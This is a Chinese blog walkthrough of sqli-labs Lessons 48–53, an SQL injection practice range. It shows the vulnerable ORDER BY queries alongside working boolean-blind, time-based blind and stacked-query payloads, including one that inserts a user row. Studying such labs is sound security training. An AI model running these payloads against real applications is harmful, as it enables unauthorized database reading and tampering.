WEB常见漏洞之SQL注入(靶场篇—3)4

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-48

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson46的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用布尔盲注判断注入点

sort=1--+

查询长度

sort=rand(length(user())>13)--+ //返回正常界面

sort=rand(length(user())>14)--+ //返回不同界面

640.png

两次结果不同,由此判断长度为 14

查询字符

sort=rand(substr(user(),1,1)='r')--+ //返回正常界面

sort=rand(left(user(),1)='r')--+ //left()函数

sort=rand(ascii(substr(user(),1,1))=114)--+ //ASCII码

sort=rand(substr(user(),1,1)='s')--+ //返回不同界面

确定用户名为root@localhost

sort=rand(substr(user(),1,14)='root@localhost')--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=rand(substr((selectdatabase()),1,14)='security')--+

Lesson-49

该题为单引号型get型注入,利用方式包括时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson48的利用方式相同,只不过拼接方式由数字变成了单引号

使用时间盲注判断注入点

sort=1'--+

查询长度

sort=1' and if(length(user())>1,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(length(user())>20,sleep(0.1),0)--+ //快速返回界面

确认长度为14位

sort=1' and if(length(user())=14,sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

查询字符

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

sort=1'andif(left(user(),1)='r',sleep(0.1),0)--+ //left()函数

sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+ //ASCII码

640.png

sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+ //界面响应需2.3秒以上

640.png

确定用户名为root@localhost

sort=1' and if(substr(user(),1,14)='root@localhost',sleep(0.1),0)--+

以此类推根据返回界面是否不同即可查询数据库名、表名、列名等

sort=1' and if(substr(database(),1,14)='security',sleep(0.1),0)--+

Lesson-50

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson46的利用方式相同,只不过查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠查询

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-51

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注、堆叠注入

sort=1'

640.png

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysqli_error($con1));

注意:该题与Lesson50的利用方式相同,只不过拼接方式由数字换成了单引号

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-52

该题为数字型get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1--+

添加字段值

sort=1;insertinto users(username,password)values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

Lesson-53

该题为单引号get型注入,利用方式包括布尔盲注、时间盲注、堆叠注入

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出报错;

注意:该题与Lesson50的利用方式相同,只不过不再输出详细的报错信息,因此无法使用报错注入

使用堆叠查询判断注入点

sort=1'--+

添加字段值

sort=1';insert into users(username,password) values('mac','mac')--+

查询字段值是否被添加,成功添加

sort=1

0x02 总结

该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了38-53关高级注入的通关教程。

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
190 1
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
64 2
|
3月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
4月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
221 8
|
4月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
182 3
|
3月前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
175 3
|
29天前
|
前端开发 安全 JavaScript
2025年,Web3开发学习路线全指南
本文提供了一条针对Dapp应用开发的学习路线,涵盖了Web3领域的重要技术栈,如区块链基础、以太坊技术、Solidity编程、智能合约开发及安全、web3.js和ethers.js库的使用、Truffle框架等。文章首先分析了国内区块链企业的技术需求,随后详细介绍了每个技术点的学习资源和方法,旨在帮助初学者系统地掌握Dapp开发所需的知识和技能。
2025年,Web3开发学习路线全指南
|
2月前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
200 45
|
2月前
|
存储 前端开发 JavaScript
如何在项目中高效地进行 Web 组件化开发
高效地进行 Web 组件化开发需要从多个方面入手,通过明确目标、合理规划、规范开发、加强测试等一系列措施,实现组件的高效管理和利用,从而提高项目的整体开发效率和质量,为用户提供更好的体验。
35 7
|
2月前
|
开发框架 搜索推荐 数据可视化
Django框架适合开发哪种类型的Web应用程序?
Django 框架凭借其强大的功能、稳定性和可扩展性,几乎可以适应各种类型的 Web 应用程序开发需求。无论是简单的网站还是复杂的企业级系统,Django 都能提供可靠的支持,帮助开发者快速构建高质量的应用。同时,其活跃的社区和丰富的资源也为开发者在项目实施过程中提供了有力的保障。